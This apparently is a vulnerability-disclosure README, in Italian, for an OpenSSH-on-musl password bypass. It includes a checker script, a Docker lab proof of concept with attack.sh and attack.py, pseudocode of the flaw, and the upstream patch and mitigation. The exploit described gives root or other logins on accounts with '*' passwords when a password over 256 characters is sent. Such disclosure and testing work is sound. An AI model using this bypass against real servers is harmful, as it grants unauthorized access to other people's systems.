
openssh su musl accettava qualsiasi password di 257+ caratteri per account senza password. dal 2016. check.sh, poc, patch.
openssh su musl linux (alpine, openwrt, buildroot, yocto) ti consente di accedere a qualsiasi account che ha * come password con qualsiasi password più lunga di 256 caratteri. questo significa root, utenti con solo chiave, utenti ldap, l'utente alpine sulle immagini cloud di alpine. dal 2016.
la storia completa è su sshhole.com. questo repo contiene lo script per verificare la tua macchina, un setup docker per provarlo tu stesso e la patch.
corretto in openssh 10.6p2 il 2026-11-05. i pacchetti alpine sono disponibili.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
sei esposto solo se tutte queste condizioni sono vere. lo script ti dice quale manca se non lo sei:
openssh-server di alpine lo è. openssh-server-pam con UsePAM yes è sicuroPasswordAuthentication yes in sshd_config (questo è il default)* come campo password$5$ o $6$ (qualcuno, chiunque, ha eseguito passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: non affetti. puoi smettere di leggere.
ti serve docker. questo compila un normale alpine 3.24 con openssh-server e la configurazione di default. alice ha *, bob ha una password reale.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
due prompt. il primo qualsiasi cosa, il secondo 300 x A. questo è l'exploit.
anche root funziona se PermitRootLogin yes è impostato:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py fa lo stesso con paramiko e ti consente di scegliere la lunghezza della password, così puoi vedere che 256 fallisce e 257 funziona:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
per le versioni alpine più vecchie: docker build --build-arg BASE=alpine:3.21 -t sshhole . funziona almeno fino alla 3.18. la più vecchia che abbiamo provato era openssh 7.5p1 su musl 1.1.16 del 2017, e funzionava anche lì.
patch/4353fdc43-avoid-password-authn-bypass.patch è la correzione upstream, invariata, nel caso tu debba applicarla a una versione più vecchia. funziona su qualsiasi versione a partire dalla 7.3p1. fa sì che sshd salti il confronto quando il campo memorizzato è troppo corto per essere un hash reale, e smette anche di usare un puntatore nel buffer statico di libc.
se non puoi aggiornare subito, imposta PasswordAuthentication no in sshd_config. questo lo chiude completamente.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd esegue il confronto con * in questo modo dagli anni '90. musl ha iniziato a restituire * in caso di fallimento nel 2012. sshd ha iniziato a usare i salt di altri account nel 2016. vedi la cronologia.
la configurazione completa dei test (17 ambienti: immagine cloud in qemu, openwrt, buildroot, utenti ldap e ad, e così via), i numeri di prevalenza e la tabella per distribuzione sono nel write-up. potrebbero essere pubblicati in seguito. questo repo è piccolo di proposito.
licenza mit.